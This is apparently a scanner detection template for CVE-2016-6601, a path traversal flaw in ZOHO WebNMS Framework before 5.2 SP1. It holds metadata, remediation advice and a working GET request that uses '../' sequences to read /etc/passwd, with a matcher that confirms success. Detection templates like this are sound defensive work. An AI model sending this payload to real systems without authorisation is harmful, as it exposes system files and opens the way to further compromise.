ZOHO WebNMS Framework <5.2 SP1 - Local File Inclusion

id: CVE-2016-6601

info:
  name: ZOHO WebNMS Framework <5.2 SP1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: ZOHO WebNMS Framework before version 5.2 SP1 is vulnerable local file inclusion which allows an attacker to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or complete compromise of the affected system.
  remediation: |
    Upgrade to ZOHO WebNMS Framework version 5.2 SP1 or later to mitigate this vulnerability.
  reference:
    - https://github.com/pedrib/PoC/blob/master/advisories/webnms-5.2-sp1-pwn.txt
    - https://www.exploit-db.com/exploits/40229/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-6601
    - http://www.rapid7.com/db/modules/auxiliary/admin/http/webnms_cred_disclosure
    - http://www.rapid7.com/db/modules/auxiliary/admin/http/webnms_file_download
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2016-6601
    cwe-id: CWE-22
    epss-score: 0.97504
    epss-percentile: 0.99983
    cpe: cpe:2.3:a:zohocorp:webnms_framework:5.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zohocorp
    product: webnms_framework
  tags: cve2016,cve,edb,zoho,lfi,webnms,zohocorp

http:
  - method: GET
    path:
      - "{{BaseURL}}/servlets/FetchFile?fileName=../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200
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